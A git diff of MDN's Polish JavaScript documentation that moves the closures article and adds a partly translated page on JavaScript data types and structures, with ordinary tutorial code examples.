+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+};
+
+var counter1 = makeCounter();
+var counter2 = makeCounter();
+alert(counter1.value()); /* Alerts 0 */
+counter1.increment();
+counter1.increment();
+alert(counter1.value()); /* Alerts 2 */
+counter1.decrement();
+alert(counter1.value()); /* Alerts 1 */
+alert(counter2.value()); /* Alerts 0 */
+ +

Zauważ, że każdy z dwóch liczników, counter1 oraz counter2, jest niezależny od drugiego. Każde domknięcie odnosi się do innej wersji zmiennej privateCounter przez własne domknięcie. Za każdym razem gdy któryś z liczników jest wywołany, jego środowisko leksykalne zmienia się przez zmianę wartości tej zmiennej; jednakże zmiany wartości zmiennej jednego domknięcia nie wpływają na wartość w innym domknięciu.

+ +

Używanie domknięć w ten sposób dostarcza wielu korzyści, które normalnie kojarzone sa z programowaniem obiektowym — w szczególności ukrywaniem oraz enkapsulacją danych.

+ +

Tworzenie domknięć w pętlach: popularne błędy

+ +

W czasach przed wprowadzeniem definicji let w standardzie ECMAScript 2015, popularnym problemem z domknięciami było ich użycie w pętlach.
+ Rozważmy poniższy kod:

+ +
<p id="help">Helpful notes will appear here</p>
+<p>E-mail: <input type="text" id="email" name="email"></p>
+<p>Name: <input type="text" id="name" name="name"></p>
+<p>Age: <input type="text" id="age" name="age"></p>
+ +
function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i < helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+ +

{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}

+ +

Tablica helpText definiuje trzy podpowiedzi. Każda z nich jest powiązana z ID inputu z dokumentu. Następnie w pętli for dodawana jest obsługa zdarzenia onfocus, która ma pokazać tekst podpowiedzi podczas ustawienia focusa na pole.
+
+ Jeżeli sprawdzisz działanie tego kodu okaże się, że nie działa tak, jak się spodziewaliśmy. Zawsze zostanie wyświetlona podpowiedź dotycząca ostatniego pola ('Your age (you must be over 16)').

+ +

Powodem takiego działania funkcji zwrotnej obsługującej onfocus jest domknięcie. Składa sie ono z definicji funkcji i przechwyconego kontekstu zakresu z setupHelp. Trzy domknięcia stworzone są w pętli, ale dzielą one to samo środowisko leksykalne, ktore posiada zmienną, która jest aktualizowana (item.help). Wartości item.help są determinowane w pętli, więc kiedy obsługa zdarzenia onfocus zostanie wywołana, item.help będzie miało wartość z ostatniej iteracji pętli.

+ +

Rozwiązaniem tego problemu jest użycie kolejnych domknięć, szczególnie fabryki funkcji opisanej wcześniej:

+ +
function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+  return function() {
+    showHelp(help);
+  };
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i < helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+  }
+}
+
+setupHelp();
+ +

{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/1/", "", 300)}}

+ +

To rozwiązanie działa zgodnie z oczekiwaniami. W odróżnieniu od wcześniejszego przykładu, makeHelpCallback tworzy nowe środowisko leksykalne dla każdej funkcji zwrotnej, w której help odnosi się do odpowiadającego stringa z tablicy helpText.

+ +

Innym sposobem zapisu rozwiązania z anonimowymi domknięciami jest:

+ +
function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i < helpText.length; i++) {
+    (function() {
+       var item = helpText[i];
+       document.getElementById(item.id).onfocus = function() {
+         showHelp(item.help);
+       }
+    })(); // Immediate event listener attachment with the current value of item (preserved until iteration).
+  }
+}
+
+setupHelp();
+ +

Jeżeli nie chcesz używać domknięć możesz użyć słowa kluczowego let ze standardu ES2015:

+ +
function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i < helpText.length; i++) {
+    let item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+ +

Ten przykład używa let zamiast var, więc każde domknięcie wiąże się z blokowym zasięgiem funkcji, dlatego nie potrzeba żadnych dodatkowych domknięć.

+ +

Alternatywą może być użycie forEach(), by iterować po tablicy helpText i dodać listener dla każdego elementu <input>:

+ + + +
function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  helpText.forEach(function(text) {
+    document.getElementById(text.id).onfocus = function() {
+      showHelp(text.help);
+    }
+  });
+}
+
+setupHelp();
+ + + +

Wątpliwości wydajnościowe

+ +

Niemądrze jest, aby niepotrzebnie tworzyć funkcje wewnątrz innych funkcji, jeżeli domnkięcia nie są wymagane w danej sytuacji, jako że odbije się to w negatywny sposób na wydajność skryptu, mierzoną poprzez czas wykonywania jak również i używaną pamięć.

+ +

Na przykład gdy tworzymy nowy obiekt/klasę, metody powinny być zwykle powiązane z prototypem obiektu zamiast definiowane w konstruktorze obiektu. Przyczyną jest to, że za każdym razem gdy konstruktor zostanie użyty, metody zostaną nadpisane (czyli przy każdym tworzeniu nowego obiektu).

+ +

Rozważmy następujący przykład:

+ +
function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+  this.getName = function() {
+    return this.name;
+  };
+
+  this.getMessage = function() {
+    return this.message;
+  };
+}
+ +

Ponieważ poprzedni przykład nie wykorzystuje zalet, które płyną z wykorzystania domknięć, możemy to przepisać w następujący sposób:

+ +
function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype = {
+  getName: function() {
+    return this.name;
+  },
+  getMessage: function() {
+    return this.message;
+  }
+};
+ +

Jednakże ponowne definiowanie prototypu nie jest rekomendowane. Poniższy przykład zamiast tego dodaje właściwości do istniejącego prototypu:

+ +
function MyObject(name, message) {
+  this.name = name.toString();
+  this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+  return this.name;
+};
+MyObject.prototype.getMessage = function() {
+  return this.message;
+};
+ +

Powyższy przykład może też zostać przepisany w bardziej czytelny sposób, z identycznym wynikiem:

+ +
function MyObject(name, message) {
+    this.name = name.toString();
+    this.message = message.toString();
+}
+(function() {
+    this.getName = function() {
+        return this.name;
+    };
+    this.getMessage = function() {
+        return this.message;
+    };
+}).call(MyObject.prototype);
+ +

W poprzednich trzech przykładach odziedziczony prototyp może być współdzielony przez wszystkie obiektu i definicje metod nie muszą występować przy każdorazowym tworzeniu obiektu. Aby dowiedzieć się więcej, zobacz Szczegóły modelu obiektowego.

+ +

In the three previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See Details of the Object Model for more.

diff --git a/files/pl/web/javascript/data_structures/index.html b/files/pl/web/javascript/data_structures/index.html new file mode 100644 index 0000000000..d6a2808105 --- /dev/null +++ b/files/pl/web/javascript/data_structures/index.html @@ -0,0 +1,443 @@ +--- +title: Typy oraz struktury danych w JavaScript +slug: Web/JavaScript/typy_oraz_struktury_danych +tags: + - JavaScript + - Początkujący + - Typy danych +translation_of: Web/JavaScript/Data_structures +--- +
{{jsSidebar("More")}}
+ +
Wszystkie języki programowania posiadają wbudowane struktury danych, mogą one jednak różnic się między poszczególnymi językami. Poniższy artykuł jest próbą stworzenia listy wbudowanych typów oraz struktur danych w JavaScript oraz ich właściwości. Mogą być one użyte do tworzenia innych struktur danych. Tam gdzie jest to możliwe dokonano porównania z innymi językami programowania.
+ +

Dynamiczne typowanie

+ +

JavaScript jest językiem typowanym dynamicznie. Zmienne w Javascript nie są bezpośrednio powiązane z konkretnym typem wartości i możemy im przypisywać wartości dowolnego typu:

+ +
let foo = 42;    // foo jest teraz liczbą (number)
+foo     = 'bar'; // foo jest teraz ciągiem znaków (string)
+foo     = true;  // foo jest teraz type logicznym (boolean)
+
+ +

Data and Structure types

+ +

Najnowsza wersja standardu ECMAScript definiuje dziewięć typów danych:

+ + + +

Keep in mind the only valuable purpose of typeof operator usage is checking the Data Type. If we wish to check any Structural Type derived from Object it is pointless to use typeof for that, as we will always receive "object". The indeed proper way to check what sort of Object we are using an instanceof keyword. But even in that case there might be misconceptions.

+ +

Wartości prymitywne

+ +

All types except objects define immutable values (that is, values which can't be changed). For example (and unlike in C), Strings are immutable. We refer to values of these types as "primitive values".

+ +

Boolean type

+ +

Boolean represents a logical entity and can have two values: true and false. See Boolean and {{jsxref("Boolean")}} for more details.

+ +

Null type

+ +

The Null type has exactly one value: null. See {{jsxref("null")}} and Null for more details.

+ +

Undefined type

+ +

A variable that has not been assigned a value has the value undefined. See {{jsxref("undefined")}} and Undefined for more details.

+ +

Number type

+ +

ECMAScript has two built-in numeric types: Number and BigInt (see below).

+ +

The Number type is a double-precision 64-bit binary format IEEE 754 value (numbers between -(253 − 1) and 253 − 1). In addition to representing floating-point numbers, the number type has three symbolic values: +Infinity, -Infinity, and {{jsxref("NaN")}} ("Not a Number").

+ +

To check for the largest available value or smallest available value within {{jsxref("Infinity", "±Infinity")}}, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}}.

+ +

Starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.

+ +

The number type has only one integer with two representations: 0 is represented as both -0 and +0. (0 is an alias for +0.) 

+ +

In the praxis, this has almost no impact. For example, +0 === -0 is true. However, you are able to notice this when you divide by zero:

+ +
> 42 / +0
+Infinity
+> 42 / -0
+-Infinity
+
+ +

Although a number often represents only its value, JavaScript provides {{jsxref("Operators/Bitwise_Operators", "binary (bitwise) operators")}}.

+ +

These bitwise operators can be used to represent several Boolean values within a single number using bit masking. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans, or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain.

+ +

It may be necessary to use such techniques in very constrained environments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts). This technique should only be considered when it is the last measure that can be taken to optimize size.

+ +

BigInt type

+ +

The {{jsxref("BigInt")}} type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. With BigInts, you can safely store and operate on large integers even beyond the safe integer limit for Numbers.

+ +

A BigInt is created by appending n to the end of an integer or by calling the constructor.

+ +

You can obtain the safest value that can be incremented with Numbers by using the constant {{jsxref("Number.MAX_SAFE_INTEGER")}}. With the introduction of BigInts, you can operate with numbers beyond the {{jsxref("Number.MAX_SAFE_INTEGER")}}.

+ +

This example demonstrates, where incrementing the {{jsxref("Number.MAX_SAFE_INTEGER")}} returns the expected result:

+ +
> const x = 2n ** 53n;
+9007199254740992n
+> const y = x + 1n;
+9007199254740993n
+
+ +

You can use the operators +, *, -, **, and % with BigInts—just like with Numbers. A BigInt is not strictly equal to a Number, but it is loosely so.

+ +

A BigInt behaves like a Number in cases where it is converted to Boolean: if, ||, &&, Boolean, !.

+ +

BigInts cannot be operated on interchangeably with Numbers. Instead a {{jsxref("TypeError")}} will be thrown.

+ +

String type

+ +

JavaScript's {{jsxref("String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index 0, the next at index 1, and so on. The length of a String is the number of elements in it.

+ +

Unlike some programming languages (such as C), JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it.

+ +

However, it is still possible to create another string based on an operation on the original string. For example:

+ + + +

Beware of "stringly-typing" your code!

+ +

It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:

+ + + +

With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.

+ +

Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.

+ +

Symbol type

+ +

Symbols are new to JavaScript in ECMAScript 2015. A Symbol is a unique and immutable primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called "atoms".

+ +

For more details see Symbol and the {{jsxref("Symbol")}} object wrapper in JavaScript.

+ +

Obiekty

+ +

In computer science, an object is a value in memory which is possibly referenced by an identifier.

+ +

Properties

+ +

In JavaScript, objects can be seen as a collection of properties. With the object literal syntax, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using key values. A key value is either a String or a Symbol value.

+ +

There are two types of object properties which have certain attributes: The data property and the accessor property.

+ +

Data property

+ +

Associates a key with a value, and has the following attributes:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attributes of a data property
AttributeTypeDescriptionDefault value
[[Value]]Any JavaScript typeThe value retrieved by a get access of the property.undefined
[[Writable]]BooleanIf false, the property's [[Value]] cannot be changed.false
[[Enumerable]]Boolean +

If true, the property will be enumerated in for...in loops.
+ See also Enumerability and ownership of properties.

+
false
[[Configurable]]BooleanIf false, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than [[Value]] and [[Writable]] cannot be changed.false
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)
AttributeTypeDescription
Read-onlyBooleanReversed state of the ES5 [[Writable]] attribute.
DontEnumBooleanReversed state of the ES5 [[Enumerable]] attribute.
DontDeleteBooleanReversed state of the ES5 [[Configurable]] attribute.
+ +

Accessor property

+ +

Associates a key with one of two accessor functions (get and set) to retrieve or store a value, and has the following attributes:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Attributes of an accessor property
AttributeTypeDescriptionDefault value
[[Get]]Function object or undefinedThe function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed.
+ See also get.
undefined
[[Set]]Function object or undefinedThe function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed.
+ See also set.
undefined
[[Enumerable]]BooleanIf true, the property will be enumerated in for...in loops.false
[[Configurable]]BooleanIf false, the property can't be deleted and can't be changed to a data property.false
+ +
+

Note: Attribute is usually used by JavaScript engine, so you can't directly access it (see more about {{jsxref("Object.defineProperty()")}}). That's why the attribute is put in double square brackets instead of single.

+
+ +

"Normal" objects, and functions

+ +

A JavaScript object is a mapping between keys and values. Keys are strings (or {{jsxref("Symbol")}}s), and values can be anything. This makes objects a natural fit for hashmaps.

+ +

Functions are regular objects with the additional capability of being callable.

+ +

Dates

+ +

When representing dates, the best choice is to use the built-in Date utility in JavaScript.

+ +

Indexed collections: Arrays and typed Arrays

+ +

Arrays are regular objects for which there is a particular relationship between integer-key-ed properties and the length property.

+ +

Additionally, arrays inherit from Array.prototype, which provides to them a handful of convenient methods to manipulate arrays. For example, indexOf (searching a value in the array) or push (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets.

+ +

Typed Arrays are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. The following table helps determine the equivalent C data types:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeValue RangeSize in bytesDescriptionWeb IDL typeEquivalent C type
{{jsxref("Int8Array")}}-128 to 12718-bit two's complement signed integerbyteint8_t
{{jsxref("Uint8Array")}}0 to 25518-bit unsigned integeroctetuint8_t
{{jsxref("Uint8ClampedArray")}}0 to 25518-bit unsigned integer (clamped)octetuint8_t
{{jsxref("Int16Array")}}-32768 to 32767216-bit two's complement signed integershortint16_t
{{jsxref("Uint16Array")}}0 to 65535216-bit unsigned integerunsigned shortuint16_t
{{jsxref("Int32Array")}}-2147483648 to 2147483647432-bit two's complement signed integerlongint32_t
{{jsxref("Uint32Array")}}0 to 4294967295432-bit unsigned integerunsigned longuint32_t
{{jsxref("Float32Array")}}1.2×10-38 to 3.4×1038432-bit IEEE floating point number (7 significant digits e.g., 1.1234567)unrestricted floatfloat
{{jsxref("Float64Array")}}5.0×10-324 to 1.8×10308864-bit IEEE floating point number (16 significant digits e.g., 1.123...15)unrestricted doubledouble
{{jsxref("BigInt64Array")}}-263 to 263-1864-bit two's complement signed integerbigintint64_t (signed long long)
{{jsxref("BigUint64Array")}}0 to 264-1864-bit unsigned integerbigintuint64_t (unsigned long long)
+ +

Keyed collections: Maps, Sets, WeakMaps, WeakSets

+ +

These data structures, introduced in ECMAScript Edition 6, take object references as keys. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object.

+ +

The difference between Maps and WeakMaps is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.

+ +

One could implement Maps and Sets in pure ECMAScript 5. However, since objects cannot be compared (in the sense of < "less than", for instance), look-up performance would necessarily be linear. Native implementations of them (including WeakMaps) can have look-up performance that is approximately logarithmic to constant time.

+ +

Usually, to bind data to a DOM node, one could set properties directly on the object, or use data-* attributes. This has the downside that the data is available to any script running in the same context. Maps and WeakMaps make it easy to privately bind data to an object.

+ +

Structured data: JSON

+ +

JSON (JavaScript Object Notation) is a lightweight data-interchange format, derived from JavaScript, but used by many programming languages. JSON builds universal data structures.

+ +

See JSON and {{jsxref("JSON")}} for more details.

+ +

More objects in the standard library

+ +

JavaScript has a standard library of built-in objects.

+ +

Please have a look at the reference to find out about more objects.

+ +

Określanie typu za pomocą operatora typeof

+ +

Operator typeof może być pomocny przy określeniu typu twojej zmiennej.

+ +

Więcej szczegółów znajdziecie na stronie poświęconej operatorowi typeof.

+ +

Specifications

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}
+ +

See also

+ + diff --git a/files/pl/web/javascript/domkniecia/index.html b/files/pl/web/javascript/domkniecia/index.html deleted file mode 100644 index 985f5e50ce..0000000000 --- a/files/pl/web/javascript/domkniecia/index.html +++ /dev/null @@ -1,408 +0,0 @@ ---- -title: Domknięcia -slug: Web/JavaScript/Domkniecia -translation_of: Web/JavaScript/Closures ---- -
 {{jsSidebar("Intermediate")}}
- -
- -

Domknięcie jest funkcją skojarzoną z odwołującym się do niej środowiskiem. Innymi słowy domknięcie daje Ci dostęp z funkcji wewnętrznej do zasięgu funkcji zewnętrznej.

- -

Zasięg leksykalny

- -

Rozważ poniższy przykład:

- -
-
function init() {
-  var name = "Mozilla"; // name jest zmienną lokalną utworzoną przez funkcję init
-  function displayName() { // displayName() jest wewnętrzną funkcją, domknięciem
-    alert(name); // używa zmiennej zdeklarowanej w funkcji nadrzędnej
-  }
-  displayName();
-}
-init();
-
- -

init() tworzy zmienną lokalną name oraz funkcję displayName(). displayName() jest funkcją lokalną która została zdefiniowana wewnątrz funkcji init() i jest dostępna tylko wewnątrz tej funkcji. displayName() nie ma własnych zmiennych lokalnych. Jednakże, ponieważ wewnętrzne funkcje mają dostęp do zmiennych zdefiniowanych w funkcjach zewnętrznych, displayName() ma dostęp do zmiennej name zdeklarowanej w funkcji nadrzędnej, init().

- -

{{JSFiddleEmbed("https://jsfiddle.net/xAFs9/3/", "js,result", 200)}}

- -

Uruchom kod i zauważ że alert() zawarty w funkcji displayName() wyświetlił wartość ze zmiennej name, która jest zdeklarowana w funkcji nadrzędnej. Jest to przykład zasięgu leksykalnego, który opisuje jak parser rozwiązuje zmienne kiedy funkcje są zagnieżdżone. Słowo "leksykalny" odnosi się do faktu że zasięg leksykalny używa lokalizacji zdefiniowania zmiennej w kodzie źródłowym aby określić gdzie ta zmienna jest dostępna. Zagnieżdżone funkcje mają dostęp do zmiennych zdeklarowanych w ich zewnętrznym zasięgu.

- -

Domknięcie

- -

Teraz rozważmy następujący przykład:

- -
function makeFunc() {
-  var name = "Mozilla";
-  function displayName() {
-    alert(name);
-  }
-  return displayName;
-}
-
-var myFunc = makeFunc();
-myFunc();
-
- -

Jeżeli uruchomisz ten kod przekonasz się że ma takie samo działanie jak poprzedni przykład z funkcją init(): tym razem wartość tekstowa "Mozilla" zostanie wyświetlona w alercie. To, co jest inne, - i interesujące - to to, że wewnętrzna funkcja displayName() została zwrócona z nadrzędnej funkcji przed jej wykonaniem.

- -

Na pierwszy rzut oka może się wydawać nieintuicyjne, że kod nadal pracuje. W niektórych językach programowania zmienne lokalne znajdujące się w funkcji istnieją tylko przez czas trwania tej funkcji. W momencie gdy makeFunc() zostanie wykonana możesz oczekiwać, że zmienna nie będzie już dostępna. Jednakże, ponieważ w naszym przypadku kod nadal pracuje, jak widać nie dotyczy to języka JavaScript.

- -

Spowodowane jest to tym, że omawiane funkcje przybierają w Javascript formę domknięć. Domknięcie jest kombinacją funkcji i leksykalnego środowiska w którym ta funkcja została zdeklarowana. To środowisko zawiera każdą zmienną lokalną która była w zasięgu w momencie kiedy domknięcie zostało stworzone. W tym przypadku, myFunc jest referencją do instancji funkcji displayName stworzonej w momencie działania makeFunc. Instancja displayName zarządza referencją do jej leksykalnego środowiska, w którym istnieje zmienna. Dlatego, kiedy myFunc jest uruchomiona, zmienna pozostaje dostępna do użycia i "Mozilla" może być przekazane do alert.

- -

Poniżej znajduje się znacznie bardziej interesujący przykład — funkcja makeAdder:

- -
function makeAdder(x) {
-  return function(y) {
-    return x + y;
-  };
-}
-
-var add5 = makeAdder(5);
-var add10 = makeAdder(10);
-
-console.log(add5(2));  // 7
-console.log(add10(2)); // 12
- -

W tym przykładzie, zdefiniowaliśmy funkcję makeAdder(x), która pobiera argument, x, i zwraca nową funkcję.  Zwrócona funkcja pobiera argument, y, i zwraca sume x i y.

- -

W zasadzie makeAdder jest fabryką funkcji — wytwarza funkcje, które mogą dodawać pewną wartość do ich argumentu. W powyższym przykładzie używamy naszej fabryki funkcji do stworzenia dwóch nowych funkcji — jedna, która dodaje 5 do jej argumentu i druga, która dodaje 10.

- -

add5 i add10 są domknięciami. Dzielą ten sam kod zawarty w funkcji makeAdder, ale przechowują różne leksykalne środowisko. W leksykalnym środowisku add5x wynosi 5, natomiast w leksykalnym środowisku add10x jest równe 10.

- -

Praktyczne domknięcia

- -

Domknięcia są przydatne, ponieważ pozwalają Ci powiązać część danych (środowisko leksykalne) z funkcją, która operuje na tych danych. Jest to oczywista analogia do programowania obiektowego, gdzie obiekty pozwalają nam na powiązanie części danych (właściwości obiektu) z jedną lub dwiema metodami.

- -

W rezultacie możesz użyć dokmnięć w sytuacjach, gdzie normalnie byś użył/a obiektu z wyłącznie jedną metodą.

- -

Potencjalne sytuacje zastosowania powyższego zachowania są szczególnie popularne w sieci. Wiele kodu, który piszemy we front-endowym Javascripcie bazuje na zdarzeniach — definiujemy jakieś zachowanie, następnie dołączamy je do wydarzenia, które jest wywoływane przez użytkownika (kliknięciem myszki lub naciśnięciem klawisza klawiatury). Nasz kod jest najczęściej dołączony jako callback (wywołanie zwrotne): pojedyncza funkcja wykonywana jako odpowiedź na wydarzenie.

- -

Przyjmijmy przykładowo, że chcemy dodać do strony przyciski, które zmieniają wielkość tekstu. Jednym ze sposobów na osiągnięcie tego jest określenie rozmiaru czcionki font-size elementu body w pikselach, następnie ustawienie rozmiaru innych elementów na stronie (takich jak nagłówki) używając jednostki względnej em:

- -
body {
-  font-family: Helvetica, Arial, sans-serif;
-  font-size: 12px;
-}
-
-h1 {
-  font-size: 1.5em;
-}
-
-h2 {
-  font-size: 1.2em;
-}
- -

Nasze interaktywne przyciski zmiany wielkości tekstu mogą zmienić wlaściwość font-size elementu body, a inne elementy strony dostosują się dzięki zastosowaniu jednostki względnej.

- -

Poniżej realizacja w JavaScript:

- -
function makeSizer(size) {
-  return function() {
-    document.body.style.fontSize = size + 'px';
-  };
-}
-
-var size12 = makeSizer(12);
-var size14 = makeSizer(14);
-var size16 = makeSizer(16);
- -

size12size14, oraz size16 są obecnie funkcjami, które zmienią rozmiar tekstu w body do odpowiednio 12, 14 oraz 16 pixeli. Możemy dołączyć je do przycisków (w tym przypadku linków) jak ponżej:

- -
document.getElementById('size-12').onclick = size12;
-document.getElementById('size-14').onclick = size14;
-document.getElementById('size-16').onclick = size16;
- -
<a href="#" id="size-12">12</a>
-<a href="#" id="size-14">14</a>
-<a href="#" id="size-16">16</a>
- -

{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/","","200")}}

- -

Emulowanie prywatnych metod przy użyciu domknięć

- -

Języki takie jak Java dostarczają możliwość zadeklarowania metody jako prywatna, co oznacza, że może ona zostać wywołana wylącznie przez inne metody w tej samej klasie.

- -

JavaScript nie zapewnia do tego wbudowanej metody, jednakże jest możliwa emulacja prywatnych metod przy użyciu domknięć. Prywatne metody nie sa wyłącznie użyteczne z racji możliwości ograniczenia dostępu do kodu: dają również świetną możliwość zarządzania Twoją globalną przestrzenią nazw (namespace) uniemożliwiając nieistotnym metodom zaśmiecenie interfejsu publicznego Twojego kodu.

- -

Poniższy kod ukazuje, w jaki sposób można użyć domknięć do zdefiniowania publicznych funkcji, które mają dostęp do prywatnych funkcji i zmiennych. Używanie dokmnięć w taki sposób znane jest jako module pattern:

- -
var counter = (function() {
-  var privateCounter = 0;
-  function changeBy(val) {
-    privateCounter += val;
-  }
-  return {
-    increment: function() {
-      changeBy(1);
-    },
-    decrement: function() {
-      changeBy(-1);
-    },
-    value: function() {
-      return privateCounter;
-    }
-  };
-})();
-
-console.log(counter.value()); // logs 0
-counter.increment();
-counter.increment();
-console.log(counter.value()); // logs 2
-counter.decrement();
-console.log(counter.value()); // logs 1
- -

W poprzednich przykładach każde domknięcie miało własne leksykalne środowisko. Jednakże w tym przypadku tworzymy pojedyncze środowisko leksykalne, współdzielone przez trzy funkcje: counter.incrementcounter.decrement oraz counter.value.

- -

Owo współdzielone środowisko leksykalne tworzone jest w ciele funkcji anonimowej, która jest wykonana w momencie, gdy tylko zostanie zdefiniowana. Środowisko leksykalne zawiera dwa prywatne przedmioty: zmienną o nazwie privateCounter i funkcję o nazwie changeBy. Żaden z tych prywatnych przedmiotów nie może być wywołany bezpośrednio spoza funkcji anonimowej. Zamiast tego, muszą mieć być one wywołane poprzez trzy funkcje publiczne, które są zwracane z anonimowej klasy opakowującej (wrapper).

- -

Te trzy funkcje publiczne to domknięcia, które współdzielą to samo środowisko. Dzięki JavaScriptowemu zakresowi leksykalnemu, każda z nich ma dostęp do zmiennej privateCounter oraz funkcji changeBy.

- -

Zauważysz, że definiujemy anonimową funkcję, która tworzy licznik, a następnie od razu ją wywołujemy i przypisujemy wynik do zmiennej counter. Moglibyśmy przetrzymywać tę funkcję w oddzielnej zmiennej makeCounter i użyć jej do stworzenia kilku liczników.

- -
var makeCounter = function() {
-  var privateCounter = 0;
-  function changeBy(val) {
-    privateCounter += val;
-  }
-  return {
-    increment: function() {
-      changeBy(1);
-    },
-    decrement: function() {
-      changeBy(-1);
-    },
-    value: function() {
-      return privateCounter;
-    }
-  }
-};
-
-var counter1 = makeCounter();
-var counter2 = makeCounter();
-alert(counter1.value()); /* Alerts 0 */
-counter1.increment();
-counter1.increment();
-alert(counter1.value()); /* Alerts 2 */
-counter1.decrement();
-alert(counter1.value()); /* Alerts 1 */
-alert(counter2.value()); /* Alerts 0 */
- -

Zauważ, że każdy z dwóch liczników, counter1 oraz counter2, jest niezależny od drugiego. Każde domknięcie odnosi się do innej wersji zmiennej privateCounter przez własne domknięcie. Za każdym razem gdy któryś z liczników jest wywołany, jego środowisko leksykalne zmienia się przez zmianę wartości tej zmiennej; jednakże zmiany wartości zmiennej jednego domknięcia nie wpływają na wartość w innym domknięciu.

- -

Używanie domknięć w ten sposób dostarcza wielu korzyści, które normalnie kojarzone sa z programowaniem obiektowym — w szczególności ukrywaniem oraz enkapsulacją danych.

- -

Tworzenie domknięć w pętlach: popularne błędy

- -

W czasach przed wprowadzeniem definicji let w standardzie ECMAScript 2015, popularnym problemem z domknięciami było ich użycie w pętlach.
- Rozważmy poniższy kod:

- -
<p id="help">Helpful notes will appear here</p>
-<p>E-mail: <input type="text" id="email" name="email"></p>
-<p>Name: <input type="text" id="name" name="name"></p>
-<p>Age: <input type="text" id="age" name="age"></p>
- -
function showHelp(help) {
-  document.getElementById('help').innerHTML = help;
-}
-
-function setupHelp() {
-  var helpText = [
-      {'id': 'email', 'help': 'Your e-mail address'},
-      {'id': 'name', 'help': 'Your full name'},
-      {'id': 'age', 'help': 'Your age (you must be over 16)'}
-    ];
-
-  for (var i = 0; i < helpText.length; i++) {
-    var item = helpText[i];
-    document.getElementById(item.id).onfocus = function() {
-      showHelp(item.help);
-    }
-  }
-}
-
-setupHelp();
- -

{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}

- -

